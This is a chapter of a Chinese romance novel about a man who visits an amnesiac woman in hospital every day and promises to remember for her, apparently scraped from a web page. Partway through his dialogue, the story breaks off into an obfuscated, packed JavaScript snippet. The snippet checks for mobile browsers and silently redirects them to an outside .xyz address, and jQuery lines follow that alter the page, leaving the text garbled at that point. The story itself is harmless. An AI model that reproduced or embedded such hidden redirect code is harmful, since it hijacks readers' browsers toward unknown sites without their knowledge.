何宇薛果然每天都来。
像上了发条的钟，精准，执拗，风雨无阻。他的出现逐渐成了病房里一个固定的景观，甚至比护士查房还要规律。许念晞从一开始的些许无措和戒备，到后来渐渐习惯了这个沉默男人的存在。
他并不总是试图和她说话。很多时候，他只是安静地坐在那张离病床不远的椅子上，处理他似乎永远也处理不完的工作。笔记本电脑放在膝头，屏幕的光映亮他轮廓分明的侧脸，眉头习惯性地微蹙着，偶尔指尖在键盘上快速敲击，发出轻微而规律的嗒嗒声。
那声音并不惹人厌烦，反而像一种白噪音，奇异地填充了病房里过于空旷的寂静。
有时，他会带来一些东西。不总是花，有时是一本封面素雅的散文集，有时是一盒据说对恢复记忆有益的精油香薰，有时只是一杯温度恰到好处的热牛奶。他递东西给她时，动作总是有些生硬的谨慎，仿佛怕碰碎了她。
许念晞大多只是安静地接受，然后轻声道谢。她依旧想不起他是谁，但那本笔记本上关于“何宇薛”的记录，开始逐渐增多，不再仅仅是“来了”和“不认识”。
「何宇薛带了牛奶，温度刚好。」「他今天穿了一件灰色的毛衣，看起来没那么严肃了。」「他在我旁边工作，打字声很轻。」「窗外下雨了，他进来时肩膀有点湿。」
记录变得具体，像一个个浮标，试图标记出时间流逝的痕迹。但她依旧会在记录的末尾，时而写下“还是想不起”，时而又会困惑地注上一句“他看起来很难过”。
这种困惑，在与林薇的又一次见面后，达到了顶峰。
林薇这次来，情绪稳定了许多，不再试图唤起那些徒劳的记忆，只是聊些琐碎的近况，娱乐圈的八卦，或者公司里的趣事。许念晞大多听着，偶尔微笑。
临走前，林薇看着床头柜上那束新鲜替换的白色小苍兰，犹豫了一下，还是低声问：“他……最近常来？”
许念晞顺着她的目光看去，点了点头：“嗯。几乎每天都来。”
林薇眼神复杂，叹了口气：“念晞，你知道他……”她顿了顿，似乎在斟酌用词，“他为了能天天过来，把公司未来三个月的重要会议和谈判全都压缩到了上午，经常夜里两三点还在开越洋视频会议。听说还推掉了一个很重要的政府合作考察团……”
许念晞怔住了。她转头看向窗外，今天何宇薛来得比平时晚一些，天空正飘着细密的雨丝。
她想起他有时眼底浓重的青黑，想起他接电话时压低声音快速而疲惫的指令，想起他大衣肩头未干的雨渍……原来那不仅仅是因为忙碌，而是因为……他把所有能挤出的时间，都耗费在了这条通往医院的道路上，和这间充斥着消毒水气味的病房里。
为什么？
一个只是“朋友”的人，为什么要做到这种地步？
她心里的困惑像藤蔓一样缠绕生长。
下午，何宇薛来时，果然带着一身湿气。发梢被雨水打湿，几缕黑发贴在额角，让他看起来比平时少了几分冷硬，多了一丝不易察觉的脆弱。他照例沉默地坐下，打开电脑。
许念晞没有像往常一样立刻拿起书或者看向窗外。她看着他，目光里带着一种纯粹的、探究的茫然。
何宇薛很快察觉到了她的注视，从屏幕前抬起头，眼神带着询问。
“林薇说，”许念晞轻声开口，声音在安静的病房里显得格外清晰，“你为了每天来这里，工作得很辛苦。”
何宇薛明显愣了一下，似乎没料到她会突然说起这个。他眼底掠过一丝不易察觉的波动，随即垂下眼睫，遮住了情绪，手指无意识地摩挲着电脑边缘。
“没什么，”他的声音依旧低沉，“工作……总是做不完的。调整一下就好。”
“为什么？”许念晞追问，像是一个执着于得到答案的孩子，“为什么一定要每天来？”
何宇薛沉默了。
窗外的雨声淅淅沥沥，敲打着玻璃窗。病房里的空气仿佛凝滞了，只有仪器规律的滴答声在背景里作响。
他抬起头，目光再次落在她脸上。那目光深沉得像外面的雨天，里面翻涌着太多许念晞看不懂的情绪——痛苦、挣扎、温柔、绝望，还有一种近乎偏执的坚定。
“因为，”他开口，声音哑得厉害，每一个字都像是从胸腔最深处艰难地挤压出来，“我害怕。”
“害怕什么？”
“害怕有一天我来，你会连‘何宇薛’这三个字，都不再记录。”他看着她，眼圈不受控制地微微泛红，“害怕连‘不认识’这三个字，都再也看不到。”
许念晞的心口，像是被什么东西轻轻撞了一下。一种陌生的、酸涩的情绪缓缓弥漫开来。她不太明白这种情绪是什么，只是觉得有点闷，有点难受。
她低下头，手指无意识地揪着雪白的被角。
“可是……记录也没用。”她声音很轻，像在陈述一个早已认清的事实，带着一种纯粹的残忍，“我每天都会忘记。笔记本上的字，看的时候好像知道，但睡一觉，第二天早上再看，就像在看别人的故事。”
她举起那本越来越厚的笔记本，眼神茫然：“它们……锚不住任何东西。记忆就像流沙，不管我多用力想抓住，它还是会流走。”
何宇薛看着她脆弱而困惑的样子，看着她手里那本徒劳的笔记本，心脏像是被一只无形的手狠狠揪住，痛得几乎无法呼吸。那股一直压抑着的、名为绝望的潮水，几乎要将他彻底淹没。
他猛地合上电脑，发出不大却不合时宜的一声响。他站起身，几步走到床边。
许念晞被他突然的动作惊得微微一颤，下意识地往后缩了一下，仰头看着他，眼睛里带着一丝受惊小鹿般的惶惑。
何宇薛停住了脚步。他闭了闭眼，极力压下胸腔里翻腾的情绪。再睁开时，眼底那片汹涌的浪潮被强行压抑下去，只剩下一种深不见底的、沉重的悲哀。
他缓缓地、极其缓慢地在她床边的椅子上坐下，身体前倾，拉近了两人之间的距离。他没有碰触她，只是用一种近乎贪婪的目光，牢牢地看着她的眼睛，仿佛想通过这最后的窗口，望进那个正在不断封闭的世界。
“没关系。”他开口，声音低哑，却带着一种奇异的、破碎的温柔，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418929|184736||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“念晞，没关系的。”
许念晞怔怔地看着他。
“你忘记，没关系。”他一字一句，说得极其缓慢，极其清晰，像是在对她承诺，又像是在对自己施加某种酷刑，“我会记得。”
“我会记得所有的事。记得你最喜欢吃巷口那家甜品店的芒果班戟，记得你下雨天总不爱带伞，记得你画设计稿时喜欢咬笔头，记得你……暗恋了一个混蛋整整三年。”
他的声音哽了一下，眼眶红得骇人，却依旧强迫自己说下去。
“你只需要知道一件事，”他凝视着她，目光像最后的锚链，死死抓住即将漂远的孤舟，“每天来的这个人，叫何宇薛。”
“他……”他深吸一口气，用尽全身力气，吐出那几个重逾千斤的字，“他很重要。对你来说，他曾经……很重要。”
最后几个字，几乎轻得如同叹息，带着无法言喻的痛楚和卑微的希冀。
许念晞彻底愣住了。
她看着他通红的眼眶，看着他脸上那种近乎崩溃却又强行维持的平静，看着他眼底深不见底的痛苦和……一种她无法理解的、浓烈到几乎灼伤人的情感。
心口那股酸涩的情绪再次涌上来，比之前更汹涌，更陌生。她张了张嘴，却发不出任何声音。
大脑依旧是一片空白，找不到任何关于“重要”的佐证。
可是……
为什么心脏会跳得这么快？
为什么喉咙像是被什么东西堵住了？
为什么……看着他的眼睛，她会有一种想哭的冲动？
她不明白。
最终，她只是下意识地、极其缓慢地，点了点头。像一个懵懂的孩子，接收了一个她无法理解却莫名沉重的指令。
何宇薛看着她点头的动作，眼底猛地迸发出一丝极其微弱的光亮，但那光亮很快又黯淡下去，被更深的痛楚和疲惫覆盖。
他没有再说什么，只是深深地看了她一眼，仿佛要将这一刻她的模样刻入骨髓。然后，他站起身，重新拿起电脑和外套。
“你休息吧。”他的声音恢复了之前的低哑，甚至更添了几分疲惫，“我明天再来。”
他转身离开，背影在昏暗的雨天下显得格外孤寂沉重。
病房门轻轻合上。
许念晞独自坐在床上，很久都没有动。窗外的雨似乎下得更大了，哗啦啦的声响充斥着整个空间。
她缓缓拿过床头的笔记本，翻到新的一页。
笔尖在纸上停留了很久，墨水晕开一个小点。
她回想着他刚才的话，回想着他通红的眼眶和沉重的目光。
最终，她写下：
「下雨。何宇薛来了。」
「他说他很重要。」
「他说他会记得所有事。」
写到这里，她停住了。她没有再写下“不认识”。
只是看着那几行字，看了很久很久。然后，她抬起手，轻轻按在自己的心口位置。
那里，依旧残留着一种陌生的、酸胀的、让她无所适从的感觉。
仿佛那里，也曾是一片需要被锚定的流沙。